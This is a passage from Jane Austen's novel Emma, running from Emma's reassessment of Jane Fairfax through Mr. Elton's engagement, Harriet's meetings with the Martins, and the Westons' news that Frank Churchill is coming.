depreciating. +Jane Fairfax was very elegant, remarkably elegant; and she had +herself the highest value for elegance. Her height was pretty, +just such as almost every body would think tall, and nobody could +think very tall; her figure particularly graceful; her size a most +becoming medium, between fat and thin, though a slight appearance +of ill-health seemed to point out the likeliest evil of the two. +Emma could not but feel all this; and then, her face--her features-- +there was more beauty in them altogether than she had remembered; +it was not regular, but it was very pleasing beauty. Her eyes, +a deep grey, with dark eye-lashes and eyebrows, had never been denied +their praise; but the skin, which she had been used to cavil at, +as wanting colour, had a clearness and delicacy which really needed +no fuller bloom. It was a style of beauty, of which elegance +was the reigning character, and as such, she must, in honour, +by all her principles, admire it:--elegance, which, whether of person +or of mind, she saw so little in Highbury. There, not to be vulgar, +was distinction, and merit. + +In short, she sat, during the first visit, looking at Jane Fairfax +with twofold complacency; the sense of pleasure and the sense +of rendering justice, and was determining that she would dislike +her no longer. When she took in her history, indeed, her situation, +as well as her beauty; when she considered what all this elegance +was destined to, what she was going to sink from, how she was going +to live, it seemed impossible to feel any thing but compassion +and respect; especially, if to every well-known particular entitling +her to interest, were added the highly probable circumstance +of an attachment to Mr. Dixon, which she had so naturally started +to herself. In that case, nothing could be more pitiable +or more honourable than the sacrifices she had resolved on. +Emma was very willing now to acquit her of having seduced +Mr. Dixon's actions from his wife, or of any thing mischievous +which her imagination had suggested at first. If it were love, +it might be simple, single, successless love on her side alone. +She might have been unconsciously sucking in the sad poison, +while a sharer of his conversation with her friend; and from the best, +the purest of motives, might now be denying herself this visit +to Ireland, and resolving to divide herself effectually from +him and his connexions by soon beginning her career of laborious duty. + +Upon the whole, Emma left her with such softened, charitable feelings, +as made her look around in walking home, and lament that Highbury +afforded no young man worthy of giving her independence; +nobody that she could wish to scheme about for her. + +These were charming feelings--but not lasting. Before she had +committed herself by any public profession of eternal friendship for +Jane Fairfax, or done more towards a recantation of past prejudices +and errors, than saying to Mr. Knightley, "She certainly is handsome; +she is better than handsome!" Jane had spent an evening at Hartfield +with her grandmother and aunt, and every thing was relapsing much +into its usual state. Former provocations reappeared. The aunt +was as tiresome as ever; more tiresome, because anxiety for her +health was now added to admiration of her powers; and they had to +listen to the description of exactly how little bread and butter +she ate for breakfast, and how small a slice of mutton for dinner, +as well as to see exhibitions of new caps and new workbags for her +mother and herself; and Jane's offences rose again. They had music; +Emma was obliged to play; and the thanks and praise which necessarily +followed appeared to her an affectation of candour, an air +of greatness, meaning only to shew off in higher style her own very +superior performance. She was, besides, which was the worst of all, +so cold, so cautious! There was no getting at her real opinion. +Wrapt up in a cloak of politeness, she seemed determined +to hazard nothing. She was disgustingly, was suspiciously reserved. + +If any thing could be more, where all was most, she was more +reserved on the subject of Weymouth and the Dixons than any thing. +She seemed bent on giving no real insight into Mr. Dixon's character, +or her own value for his company, or opinion of the suitableness +of the match. It was all general approbation and smoothness; +nothing delineated or distinguished. It did her no service however. +Her caution was thrown away. Emma saw its artifice, and returned +to her first surmises. There probably _was_ something more to conceal +than her own preference; Mr. Dixon, perhaps, had been very near +changing one friend for the other, or been fixed only to Miss Campbell, +for the sake of the future twelve thousand pounds. + +The like reserve prevailed on other topics. She and Mr. Frank Churchill +had been at Weymouth at the same time. It was known that they were +a little acquainted; but not a syllable of real information could Emma +procure as to what he truly was. "Was he handsome?"--"She believed +he was reckoned a very fine young man." "Was he agreeable?"-- +"He was generally thought so." "Did he appear a sensible young man; +a young man of information?"--"At a watering-place, or in a common +London acquaintance, it was difficult to decide on such points. +Manners were all that could be safely judged of, under a much longer +knowledge than they had yet had of Mr. Churchill. She believed +every body found his manners pleasing." Emma could not forgive her. + + + +CHAPTER III + + +Emma could not forgive her;--but as neither provocation nor resentment +were discerned by Mr. Knightley, who had been of the party, and had +seen only proper attention and pleasing behaviour on each side, +he was expressing the next morning, being at Hartfield again on +business with Mr. Woodhouse, his approbation of the whole; not so +openly as he might have done had her father been out of the room, +but speaking plain enough to be very intelligible to Emma. +He had been used to think her unjust to Jane, and had now great +pleasure in marking an improvement. + +"A very pleasant evening," he began, as soon as Mr. Woodhouse +had been talked into what was necessary, told that he understood, +and the papers swept away;--"particularly pleasant. You and Miss +Fairfax gave us some very good music. I do not know a more +luxurious state, sir, than sitting at one's ease to be entertained +a whole evening by two such young women; sometimes with music +and sometimes with conversation. I am sure Miss Fairfax must +have found the evening pleasant, Emma. You left nothing undone. +I was glad you made her play so much, for having no instrument +at her grandmother's, it must have been a real indulgence." + +"I am happy you approved," said Emma, smiling; "but I hope I am +not often deficient in what is due to guests at Hartfield." + +"No, my dear," said her father instantly; "_that_ I am sure you +are not. There is nobody half so attentive and civil as you are. +If any thing, you are too attentive. The muffin last night--if it +had been handed round once, I think it would have been enough." + +"No," said Mr. Knightley, nearly at the same time; "you are not +often deficient; not often deficient either in manner or comprehension. +I think you understand me, therefore." + +An arch look expressed--"I understand you well enough;" but she +said only, "Miss Fairfax is reserved." + +"I always told you she was--a little; but you will soon overcome +all that part of her reserve which ought to be overcome, all that +has its foundation in diffidence. What arises from discretion +must be honoured." + +"You think her diffident. I do not see it." + +"My dear Emma," said he, moving from his chair into one close +by her, "you are not going to tell me, I hope, that you +had not a pleasant evening." + +"Oh! no; I was pleased with my own perseverance in asking questions; +and amused to think how little information I obtained." + +"I am disappointed," was his only answer. + +"I hope every body had a pleasant evening," said Mr. Woodhouse, +in his quiet way. "I had. Once, I felt the fire rather too much; +but then I moved back my chair a little, a very little, and it did +not disturb me. Miss Bates was very chatty and good-humoured, +as she always is, though she speaks rather too quick. However, +she is very agreeable, and Mrs. Bates too, in a different way. +I like old friends; and Miss Jane Fairfax is a very pretty sort of +young lady, a very pretty and a very well-behaved young lady indeed. +She must have found the evening agreeable, Mr. Knightley, because she +had Emma." + +"True, sir; and Emma, because she had Miss Fairfax." + +Emma saw his anxiety, and wishing to appease it, at least for +the present, said, and with a sincerity which no one could question-- + +"She is a sort of elegant creature that one cannot keep one's eyes from. +I am always watching her to admire; and I do pity her from my heart." + +Mr. Knightley looked as if he were more gratified than he cared +to express; and before he could make any reply, Mr. Woodhouse, +whose thoughts were on the Bates's, said-- + +"It is a great pity that their circumstances should be so confined! +a great pity indeed! and I have often wished--but it is so little one +can venture to do--small, trifling presents, of any thing uncommon-- +Now we have killed a porker, and Emma thinks of sending them +a loin or a leg; it is very small and delicate--Hartfield pork is +not like any other pork--but still it is pork--and, my dear Emma, +unless one could be sure of their making it into steaks, nicely fried, +as ours are fried, without the smallest grease, and not roast it, +for no stomach can bear roast pork--I think we had better send the leg-- +do not you think so, my dear?" + +"My dear papa, I sent the whole hind-quarter. I knew you would wish it. +There will be the leg to be salted, you know, which is so very nice, +and the loin to be dressed directly in any manner they like." + +"That's right, my dear, very right. I had not thought of it before, +but that is the best way. They must not over-salt the leg; and then, +if it is not over-salted, and if it is very thoroughly boiled, +just as Serle boils ours, and eaten very moderately of, with a +boiled turnip, and a little carrot or parsnip, I do not consider +it unwholesome." + +"Emma," said Mr. Knightley presently, "I have a piece of news for you. +You like news--and I heard an article in my way hither that I think +will interest you." + +"News! Oh! yes, I always like news. What is it?--why do you +smile so?--where did you hear it?--at Randalls?" + +He had time only to say, + +"No, not at Randalls; I have not been near Randalls," when the door +was thrown open, and Miss Bates and Miss Fairfax walked into the room. +Full of thanks, and full of news, Miss Bates knew not which to +give quickest. Mr. Knightley soon saw that he had lost his moment, +and that not another syllable of communication could rest with him. + +"Oh! my dear sir, how are you this morning? My dear Miss Woodhouse-- +I come quite over-powered. Such a beautiful hind-quarter of pork! +You are too bountiful! Have you heard the news? Mr. Elton is going +to be married." + +Emma had not had time even to think of Mr. Elton, and she was +so completely surprized that she could not avoid a little start, +and a little blush, at the sound. + +"There is my news:--I thought it would interest you," +said Mr. Knightley, with a smile which implied a conviction +of some part of what had passed between them. + +"But where could _you_ hear it?" cried Miss Bates. "Where could +you possibly hear it, Mr. Knightley? For it is not five minutes +since I received Mrs. Cole's note--no, it cannot be more than five-- +or at least ten--for I had got my bonnet and spencer on, just ready +to come out--I was only gone down to speak to Patty again about +the pork--Jane was standing in the passage--were not you, Jane?-- +for my mother was so afraid that we had not any salting-pan +large enough. So I said I would go down and see, and Jane said, +`Shall I go down instead? for I think you have a little cold, +and Patty has been washing the kitchen.'--`Oh! my dear,' +said I--well, and just then came the note. A Miss Hawkins-- +that's all I know. A Miss Hawkins of Bath. But, Mr. Knightley, +how could you possibly have heard it? for the very moment Mr. Cole +told Mrs. Cole of it, she sat down and wrote to me. A Miss Hawkins--" + +"I was with Mr. Cole on business an hour and a half ago. +He had just read Elton's letter as I was shewn in, and handed it +to me directly." + +"Well! that is quite--I suppose there never was a piece of news more +generally interesting. My dear sir, you really are too bountiful. +My mother desires her very best compliments and regards, and a +thousand thanks, and says you really quite oppress her." + +"We consider our Hartfield pork," replied Mr. Woodhouse--"indeed it +certainly is, so very superior to all other pork, that Emma and I +cannot have a greater pleasure than--" + +"Oh! my dear sir, as my mother says, our friends are only too good +to us. If ever there were people who, without having great wealth +themselves, had every thing they could wish for, I am sure it is us. +We may well say that `our lot is cast in a goodly heritage.' +Well, Mr. Knightley, and so you actually saw the letter; well--" + +"It was short--merely to announce--but cheerful, exulting, of course."-- +Here was a sly glance at Emma. "He had been so fortunate as to-- +I forget the precise words--one has no business to remember them. +The information was, as you state, that he was going to be married +to a Miss Hawkins. By his style, I should imagine it just settled." + +"Mr. Elton going to be married!" said Emma, as soon as she could speak. +"He will have every body's wishes for his happiness." + +"He is very young to settle," was Mr. Woodhouse's observation. +"He had better not be in a hurry. He seemed to me very well off +as he was. We were always glad to see him at Hartfield." + +"A new neighbour for us all, Miss Woodhouse!" said Miss Bates, +joyfully; "my mother is so pleased!--she says she cannot +bear to have the poor old Vicarage without a mistress. +This is great news, indeed. Jane, you have never seen +Mr. Elton!--no wonder that you have such a curiosity to see him." + +Jane's curiosity did not appear of that absorbing nature as wholly +to occupy her. + +"No--I have never seen Mr. Elton," she replied, starting on this appeal; +"is he--is he a tall man?" + +"Who shall answer that question?" cried Emma. "My father would +say `yes,' Mr. Knightley `no;' and Miss Bates and I that he is +just the happy medium. When you have been here a little longer, +Miss Fairfax, you will understand that Mr. Elton is the standard +of perfection in Highbury, both in person and mind." + +"Very true, Miss Woodhouse, so she will. He is the very best +young man--But, my dear Jane, if you remember, I told you yesterday +he was precisely the height of Mr. Perry. Miss Hawkins,--I dare say, +an excellent young woman. His extreme attention to my mother-- +wanting her to sit in the vicarage pew, that she might hear the better, +for my mother is a little deaf, you know--it is not much, but she +does not hear quite quick. Jane says that Colonel Campbell is a +little deaf. He fancied bathing might be good for it--the warm bath-- +but she says it did him no lasting benefit. Colonel Campbell, +you know, is quite our angel. And Mr. Dixon seems a very charming +young man, quite worthy of him. It is such a happiness when good +people get together--and they always do. Now, here will be Mr. Elton +and Miss Hawkins; and there are the Coles, such very good people; +and the Perrys--I suppose there never was a happier or a better couple +than Mr. and Mrs. Perry. I say, sir," turning to Mr. Woodhouse, +"I think there are few places with such society as Highbury. +I always say, we are quite blessed in our neighbours.--My dear sir, +if there is one thing my mother loves better than another, it is pork-- +a roast loin of pork--" + +"As to who, or what Miss Hawkins is, or how long he has been +acquainted with her," said Emma, "nothing I suppose can be known. +One feels that it cannot be a very long acquaintance. He has been +gone only four weeks." + +Nobody had any information to give; and, after a few more wonderings, +Emma said, + +"You are silent, Miss Fairfax--but I hope you mean to take +an interest in this news. You, who have been hearing and seeing +so much of late on these subjects, who must have been so deep +in the business on Miss Campbell's account--we shall not excuse +your being indifferent about Mr. Elton and Miss Hawkins." + +"When I have seen Mr. Elton," replied Jane, "I dare say I +shall be interested--but I believe it requires _that_ with me. +And as it is some months since Miss Campbell married, the impression +may be a little worn off." + +"Yes, he has been gone just four weeks, as you observe, Miss Woodhouse," +said Miss Bates, "four weeks yesterday.--A Miss Hawkins!--Well, I had +always rather fancied it would be some young lady hereabouts; +not that I ever--Mrs. Cole once whispered to me--but I immediately said, +`No, Mr. Elton is a most worthy young man--but'--In short, I do +not think I am particularly quick at those sort of discoveries. +I do not pretend to it. What is before me, I see. At the same time, +nobody could wonder if Mr. Elton should have aspired--Miss Woodhouse +lets me chatter on, so good-humouredly. She knows I would not +offend for the world. How does Miss Smith do? She seems quite +recovered now. Have you heard from Mrs. John Knightley lately? +Oh! those dear little children. Jane, do you know I always fancy +Mr. Dixon like Mr. John Knightley. I mean in person--tall, and with +that sort of look--and not very talkative." + +"Quite wrong, my dear aunt; there is no likeness at all." + +"Very odd! but one never does form a just idea of any body beforehand. +One takes up a notion, and runs away with it. Mr. Dixon, you say, +is not, strictly speaking, handsome?" + +"Handsome! Oh! no--far from it--certainly plain. I told you he +was plain." + +"My dear, you said that Miss Campbell would not allow him to be plain, +and that you yourself--" + +"Oh! as for me, my judgment is worth nothing. Where I have a regard, +I always think a person well-looking. But I gave what I believed +the general opinion, when I called him plain." + +"Well, my dear Jane, I believe we must be running away. +The weather does not look well, and grandmama will be uneasy. +You are too obliging, my dear Miss Woodhouse; but we really must +take leave. This has been a most agreeable piece of news indeed. +I shall just go round by Mrs. Cole's; but I shall not stop three minutes: +and, Jane, you had better go home directly--I would not have you +out in a shower!--We think she is the better for Highbury already. +Thank you, we do indeed. I shall not attempt calling on Mrs. Goddard, +for I really do not think she cares for any thing but _boiled_ pork: +when we dress the leg it will be another thing. Good morning to you, +my dear sir. Oh! Mr. Knightley is coming too. Well, that is +so very!--I am sure if Jane is tired, you will be so kind as to +give her your arm.--Mr. Elton, and Miss Hawkins!--Good morning +to you." + +Emma, alone with her father, had half her attention wanted by him +while he lamented that young people would be in such a hurry to marry-- +and to marry strangers too--and the other half she could give +to her own view of the subject. It was to herself an amusing +and a very welcome piece of news, as proving that Mr. Elton +could not have suffered long; but she was sorry for Harriet: +Harriet must feel it--and all that she could hope was, by giving +the first information herself, to save her from hearing it abruptly +from others. It was now about the time that she was likely to call. +If she were to meet Miss Bates in her way!--and upon its beginning +to rain, Emma was obliged to expect that the weather would be +detaining her at Mrs. Goddard's, and that the intelligence would +undoubtedly rush upon her without preparation. + +The shower was heavy, but short; and it had not been over five minutes, +when in came Harriet, with just the heated, agitated look which +hurrying thither with a full heart was likely to give; and the +"Oh! Miss Woodhouse, what do you think has happened!" which instantly +burst forth, had all the evidence of corresponding perturbation. +As the blow was given, Emma felt that she could not now shew greater +kindness than in listening; and Harriet, unchecked, ran eagerly +through what she had to tell. "She had set out from Mrs. Goddard's +half an hour ago--she had been afraid it would rain--she had been +afraid it would pour down every moment--but she thought she might +get to Hartfield first--she had hurried on as fast as possible; +but then, as she was passing by the house where a young woman +was making up a gown for her, she thought she would just step +in and see how it went on; and though she did not seem to stay +half a moment there, soon after she came out it began to rain, +and she did not know what to do; so she ran on directly, as fast +as she could, and took shelter at Ford's."--Ford's was the principal +woollen-draper, linen-draper, and haberdasher's shop united; +the shop first in size and fashion in the place.--"And so, +there she had set, without an idea of any thing in the world, +full ten minutes, perhaps--when, all of a sudden, who should come in-- +to be sure it was so very odd!--but they always dealt at Ford's-- +who should come in, but Elizabeth Martin and her brother!-- +Dear Miss Woodhouse! only think. I thought I should have fainted. +I did not know what to do. I was sitting near the door--Elizabeth saw +me directly; but he did not; he was busy with the umbrella. +I am sure she saw me, but she looked away directly, and took +no notice; and they both went to quite the farther end of the shop; +and I kept sitting near the door!--Oh! dear; I was so miserable! +I am sure I must have been as white as my gown. I could not go away +you know, because of the rain; but I did so wish myself anywhere +in the world but there.--Oh! dear, Miss Woodhouse--well, at last, +I fancy, he looked round and saw me; for instead of going +on with her buyings, they began whispering to one another. +I am sure they were talking of me; and I could not help thinking +that he was persuading her to speak to me--(do you think he was, +Miss Woodhouse?)--for presently she came forward--came quite up +to me, and asked me how I did, and seemed ready to shake hands, +if I would. She did not do any of it in the same way that she used; +I could see she was altered; but, however, she seemed to _try_ to be +very friendly, and we shook hands, and stood talking some time; +but I know no more what I said--I was in such a tremble!--I remember +she said she was sorry we never met now; which I thought almost +too kind! Dear, Miss Woodhouse, I was absolutely miserable! +By that time, it was beginning to hold up, and I was determined +that nothing should stop me from getting away--and then--only think!-- +I found he was coming up towards me too--slowly you know, and as +if he did not quite know what to do; and so he came and spoke, +and I answered--and I stood for a minute, feeling dreadfully, +you know, one can't tell how; and then I took courage, and said it +did not rain, and I must go; and so off I set; and I had not got +three yards from the door, when he came after me, only to say, +if I was going to Hartfield, he thought I had much better go round +by Mr. Cole's stables, for I should find the near way quite floated +by this rain. Oh! dear, I thought it would have been the death of me! +So I said, I was very much obliged to him: you know I could +not do less; and then he went back to Elizabeth, and I came round +by the stables--I believe I did--but I hardly knew where I was, +or any thing about it. Oh! Miss Woodhouse, I would rather done +any thing than have it happen: and yet, you know, there was a sort +of satisfaction in seeing him behave so pleasantly and so kindly. +And Elizabeth, too. Oh! Miss Woodhouse, do talk to me and make +me comfortable again." + +Very sincerely did Emma wish to do so; but it was not immediately in +her power. She was obliged to stop and think. She was not thoroughly +comfortable herself. The young man's conduct, and his sister's, +seemed the result of real feeling, and she could not but pity them. +As Harriet described it, there had been an interesting mixture +of wounded affection and genuine delicacy in their behaviour. +But she had believed them to be well-meaning, worthy people before; +and what difference did this make in the evils of the connexion? +It was folly to be disturbed by it. Of course, he must be sorry +to lose her--they must be all sorry. Ambition, as well as love, +had probably been mortified. They might all have hoped to rise +by Harriet's acquaintance: and besides, what was the value of +Harriet's description?--So easily pleased--so little discerning;-- +what signified her praise? + +She exerted herself, and did try to make her comfortable, +by considering all that had passed as a mere trifle, and quite +unworthy of being dwelt on, + +"It might be distressing, for the moment," said she; "but you seem +to have behaved extremely well; and it is over--and may never-- +can never, as a first meeting, occur again, and therefore you need +not think about it." + +Harriet said, "very true," and she "would not think about it;" +but still she talked of it--still she could talk of nothing else; +and Emma, at last, in order to put the Martins out of her head, +was obliged to hurry on the news, which she had meant to give +with so much tender caution; hardly knowing herself whether +to rejoice or be angry, ashamed or only amused, at such a state +of mind in poor Harriet--such a conclusion of Mr. Elton's importance +with her! + +Mr. Elton's rights, however, gradually revived. Though she did not +feel the first intelligence as she might have done the day before, +or an hour before, its interest soon increased; and before their +first conversation was over, she had talked herself into all the +sensations of curiosity, wonder and regret, pain and pleasure, +as to this fortunate Miss Hawkins, which could conduce to place +the Martins under proper subordination in her fancy. + +Emma learned to be rather glad that there had been such a meeting. +It had been serviceable in deadening the first shock, without retaining +any influence to alarm. As Harriet now lived, the Martins could +not get at her, without seeking her, where hitherto they had wanted +either the courage or the condescension to seek her; for since her +refusal of the brother, the sisters never had been at Mrs. Goddard's; +and a twelvemonth might pass without their being thrown together again, +with any necessity, or even any power of speech. + + + +CHAPTER IV + + +Human nature is so well disposed towards those who are in +interesting situations, that a young person, who either marries +or dies, is sure of being kindly spoken of. + +A week had not passed since Miss Hawkins's name was first +mentioned in Highbury, before she was, by some means or other, +discovered to have every recommendation of person and mind; +to be handsome, elegant, highly accomplished, and perfectly amiable: +and when Mr. Elton himself arrived to triumph in his happy prospects, +and circulate the fame of her merits, there was very little more +for him to do, than to tell her Christian name, and say whose +music she principally played. + +Mr. Elton returned, a very happy man. He had gone away rejected +and mortified--disappointed in a very sanguine hope, after a series +of what appeared to him strong encouragement; and not only losing +the right lady, but finding himself debased to the level of a very +wrong one. He had gone away deeply offended--he came back engaged +to another--and to another as superior, of course, to the first, +as under such circumstances what is gained always is to what is lost. +He came back gay and self-satisfied, eager and busy, caring nothing +for Miss Woodhouse, and defying Miss Smith. + +The charming Augusta Hawkins, in addition to all the usual advantages +of perfect beauty and merit, was in possession of an independent fortune, +of so many thousands as would always be called ten; a point of +some dignity, as well as some convenience: the story told well; +he had not thrown himself away--he had gained a woman of 10,000 l. +or thereabouts; and he had gained her with such delightful rapidity-- +the first hour of introduction had been so very soon followed by +distinguishing notice; the history which he had to give Mrs. Cole +of the rise and progress of the affair was so glorious--the steps +so quick, from the accidental rencontre, to the dinner at Mr. Green's, +and the party at Mrs. Brown's--smiles and blushes rising in importance-- +with consciousness and agitation richly scattered--the lady +had been so easily impressed--so sweetly disposed--had in short, +to use a most intelligible phrase, been so very ready to have him, +that vanity and prudence were equally contented. + +He had caught both substance and shadow--both fortune and affection, +and was just the happy man he ought to be; talking only of himself +and his own concerns--expecting to be congratulated--ready to be +laughed at--and, with cordial, fearless smiles, now addressing +all the young ladies of the place, to whom, a few weeks ago, +he would have been more cautiously gallant. + +The wedding was no distant event, as the parties had only themselves +to please, and nothing but the necessary preparations to wait for; +and when he set out for Bath again, there was a general expectation, +which a certain glance of Mrs. Cole's did not seem to contradict, +that when he next entered Highbury he would bring his bride. + +During his present short stay, Emma had barely seen him; but just +enough to feel that the first meeting was over, and to give her +the impression of his not being improved by the mixture of pique +and pretension, now spread over his air. She was, in fact, +beginning very much to wonder that she had ever thought him pleasing +at all; and his sight was so inseparably connected with some very +disagreeable feelings, that, except in a moral light, as a penance, +a lesson, a source of profitable humiliation to her own mind, +she would have been thankful to be assured of never seeing him again. +She wished him very well; but he gave her pain, and his welfare +twenty miles off would administer most satisfaction. + +The pain of his continued residence in Highbury, however, must certainly +be lessened by his marriage. Many vain solicitudes would be prevented-- +many awkwardnesses smoothed by it. A _Mrs._ _Elton_ would be an excuse for +any change of intercourse; former intimacy might sink without remark. +It would be almost beginning their life of civility again. + +Of the lady, individually, Emma thought very little. She was good +enough for Mr. Elton, no doubt; accomplished enough for Highbury-- +handsome enough--to look plain, probably, by Harriet's side. +As to connexion, there Emma was perfectly easy; persuaded, +that after all his own vaunted claims and disdain of Harriet, +he had done nothing. On that article, truth seemed attainable. +_What_ she was, must be uncertain; but _who_ she was, might be found out; +and setting aside the 10,000 l., it did not appear that she was at +all Harriet's superior. She brought no name, no blood, no alliance. +Miss Hawkins was the youngest of the two daughters of a Bristol-- +merchant, of course, he must be called; but, as the whole of the +profits of his mercantile life appeared so very moderate, it was +not unfair to guess the dignity of his line of trade had been very +moderate also. Part of every winter she had been used to spend in Bath; +but Bristol was her home, the very heart of Bristol; for though +the father and mother had died some years ago, an uncle remained-- +in the law line--nothing more distinctly honourable was hazarded +of him, than that he was in the law line; and with him the daughter +had lived. Emma guessed him to be the drudge of some attorney, +and too stupid to rise. And all the grandeur of the connexion +seemed dependent on the elder sister, who was _very_ _well_ _married_, +to a gentleman in a _great_ _way_, near Bristol, who kept two carriages! +That was the wind-up of the history; that was the glory of +Miss Hawkins. + +Could she but have given Harriet her feelings about it all! +She had talked her into love; but, alas! she was not so easily to be +talked out of it. The charm of an object to occupy the many vacancies +of Harriet's mind was not to be talked away. He might be superseded +by another; he certainly would indeed; nothing could be clearer; +even a Robert Martin would have been sufficient; but nothing else, +she feared, would cure her. Harriet was one of those, who, +having once begun, would be always in love. And now, poor girl! +she was considerably worse from this reappearance of Mr. Elton. +She was always having a glimpse of him somewhere or other. Emma saw +him only once; but two or three times every day Harriet was sure +_just_ to meet with him, or _just_ to miss him, _just_ to hear his voice, +or see his shoulder, _just_ to have something occur to preserve him +in her fancy, in all the favouring warmth of surprize and conjecture. +She was, moreover, perpetually hearing about him; for, excepting when +at Hartfield, she was always among those who saw no fault in Mr. Elton, +and found nothing so interesting as the discussion of his concerns; +and every report, therefore, every guess--all that had already +occurred, all that might occur in the arrangement of his affairs, +comprehending income, servants, and furniture, was continually +in agitation around her. Her regard was receiving strength by +invariable praise of him, and her regrets kept alive, and feelings +irritated by ceaseless repetitions of Miss Hawkins's happiness, +and continual observation of, how much he seemed attached!-- +his air as he walked by the house--the very sitting of his hat, +being all in proof of how much he was in love! + +Had it been allowable entertainment, had there been no pain +to her friend, or reproach to herself, in the waverings of +Harriet's mind, Emma would have been amused by its variations. +Sometimes Mr. Elton predominated, sometimes the Martins; and each +was occasionally useful as a check to the other. Mr. Elton's +engagement had been the cure of the agitation of meeting Mr. Martin. +The unhappiness produced by the knowledge of that engagement had been +a little put aside by Elizabeth Martin's calling at Mrs. Goddard's +a few days afterwards. Harriet had not been at home; but a note had +been prepared and left for her, written in the very style to touch; +a small mixture of reproach, with a great deal of kindness; +and till Mr. Elton himself appeared, she had been much occupied +by it, continually pondering over what could be done in return, +and wishing to do more than she dared to confess. But Mr. Elton, +in person, had driven away all such cares. While he staid, +the Martins were forgotten; and on the very morning of his setting off +for Bath again, Emma, to dissipate some of the distress it occasioned, +judged it best for her to return Elizabeth Martin's visit. + +How that visit was to be acknowledged--what would be necessary-- +and what might be safest, had been a point of some doubtful +consideration. Absolute neglect of the mother and sisters, +when invited to come, would be ingratitude. It must not be: +and yet the danger of a renewal of the acquaintance!-- + +After much thinking, she could determine on nothing better, than Harriet's +returning the visit; but in a way that, if they had understanding, +should convince them that it was to be only a formal acquaintance. +She meant to take her in the carriage, leave her at the Abbey Mill, +while she drove a little farther, and call for her again so soon, +as to allow no time for insidious applications or dangerous +recurrences to the past, and give the most decided proof of what +degree of intimacy was chosen for the future. + +She could think of nothing better: and though there was something +in it which her own heart could not approve--something of ingratitude, +merely glossed over--it must be done, or what would become of Harriet? + + + +CHAPTER V + + +Small heart had Harriet for visiting. Only half an hour before her +friend called for her at Mrs. Goddard's, her evil stars had led +her to the very spot where, at that moment, a trunk, directed to +_The_ _Rev._ _Philip_ _Elton_, _White-Hart_, _Bath_, was to be seen under the +operation of being lifted into the butcher's cart, which was to +convey it to where the coaches past; and every thing in this world, +excepting that trunk and the direction, was consequently a blank. + +She went, however; and when they reached the farm, and she was to +be put down, at the end of the broad, neat gravel walk, which led +between espalier apple-trees to the front door, the sight of every +thing which had given her so much pleasure the autumn before, +was beginning to revive a little local agitation; and when they parted, +Emma observed her to be looking around with a sort of fearful curiosity, +which determined her not to allow the visit to exceed the proposed +quarter of an hour. She went on herself, to give that portion +of time to an old servant who was married, and settled in Donwell. + +The quarter of an hour brought her punctually to the white gate again; +and Miss Smith receiving her summons, was with her without delay, +and unattended by any alarming young man. She came solitarily +down the gravel walk--a Miss Martin just appearing at the door, +and parting with her seemingly with ceremonious civility. + +Harriet could not very soon give an intelligible account. +She was feeling too much; but at last Emma collected from her +enough to understand the sort of meeting, and the sort of pain it +was creating. She had seen only Mrs. Martin and the two girls. +They had received her doubtingly, if not coolly; and nothing +beyond the merest commonplace had been talked almost all the time-- +till just at last, when Mrs. Martin's saying, all of a sudden, +that she thought Miss Smith was grown, had brought on a more +interesting subject, and a warmer manner. In that very room +she had been measured last September, with her two friends. +There were the pencilled marks and memorandums on the wainscot by +the window. _He_ had done it. They all seemed to remember the day, +the hour, the party, the occasion--to feel the same consciousness, +the same regrets--to be ready to return to the same good understanding; +and they were just growing again like themselves, (Harriet, as Emma +must suspect, as ready as the best of them to be cordial and happy,) +when the carriage reappeared, and all was over. The style of +the visit, and the shortness of it, were then felt to be decisive. +Fourteen minutes to be given to those with whom she had thankfully +passed six weeks not six months ago!--Emma could not but picture +it all, and feel how justly they might resent, how naturally +Harriet must suffer. It was a bad business. She would have given +a great deal, or endured a great deal, to have had the Martins +in a higher rank of life. They were so deserving, that a _little_ +higher should have been enough: but as it was, how could she have +done otherwise?--Impossible!--She could not repent. They must +be separated; but there was a great deal of pain in the process-- +so much to herself at this time, that she soon felt the necessity +of a little consolation, and resolved on going home by way of Randalls +to procure it. Her mind was quite sick of Mr. Elton and the Martins. +The refreshment of Randalls was absolutely necessary. + +It was a good scheme; but on driving to the door they heard +that neither "master nor mistress was at home;" they had both +been out some time; the man believed they were gone to Hartfield. + +"This is too bad," cried Emma, as they turned away. "And now we +shall just miss them; too provoking!--I do not know when I have been +so disappointed." And she leaned back in the corner, to indulge +her murmurs, or to reason them away; probably a little of both-- +such being the commonest process of a not ill-disposed mind. +Presently the carriage stopt; she looked up; it was stopt +by Mr. and Mrs. Weston, who were standing to speak to her. +There was instant pleasure in the sight of them, and still greater +pleasure was conveyed in sound--for Mr. Weston immediately accosted +her with, + +"How d'ye do?--how d'ye do?--We have been sitting with your father-- +glad to see him so well. Frank comes to-morrow--I had a letter +this morning--we see him to-morrow by dinner-time to a certainty-- +he is at Oxford to-day, and he comes for a whole fortnight; I knew it would +be so. If he had come at Christmas he could not have staid three days; +I was always glad he did not come at Christmas; now we are going +to have just the right weather for him, fine, dry, settled weather. +We shall enjoy him completely; every thing has turned out exactly +as we could wish." + +There was no resisting such news, no possibility of avoiding the +influence of such a happy face as Mr. Weston's, confirmed as it all +was by the words and the countenance of his wife, fewer and quieter, +but not less to the purpose. To know that _she_ thought his coming +certain was enough to make Emma consider it so, and sincerely did +she rejoice in their joy. It was a most delightful reanimation +of exhausted spirits. The worn-out past was sunk in the freshness +of what was coming; and in the rapidity of half a moment's thought, +she hoped Mr. Elton would now be talked of no more. + +Mr. Weston gave her the history of the engagements at Enscombe, +which allowed his son to answer for having an entire fortnight at +his command, as well as the route and the method of his journey; +and she listened, and smiled, and congratulated. + +"I shall soon bring him over to Hartfield," said he, at the conclusion. + +Emma could imagine she saw a touch of the arm at this speech, +from his wife. + +"We had better move on, Mr. Weston," said she, "we are detaining +the girls." + +"Well, well, I am ready;"--and turning again to Emma, "but you must +not be expecting such a _very_ fine young man; you have only had _my_ +account you know; I dare say he is really nothing extraordinary:"-- +though his own sparkling eyes at the moment were speaking a very +different conviction. + +Emma could look perfectly unconscious and innocent, and answer +in a manner that appropriated nothing. + +"Think of me to-morrow, my dear Emma, about four o'clock," +was Mrs. Weston's parting injunction; spoken with some anxiety, +and meant only for her. + +"Four o'clock!--depend upon it he will be here by three," was Mr. Weston's +quick amendment; and so ended a most satisfactory meeting. +Emma's spirits were mounted quite up to happiness; every thing wore +a different air; James and his horses seemed not half so sluggish +as before. When she looked at the hedges, she thought the elder at +least must soon be coming out; and when she turned round to Harriet, +she saw something like a look of spring, a tender smile even there. + +"Will Mr. Frank Churchill pass through Bath as well as Oxford?"-- +was a question, however, which did not augur much. + +But neither geography nor tranquillity could come all at once, 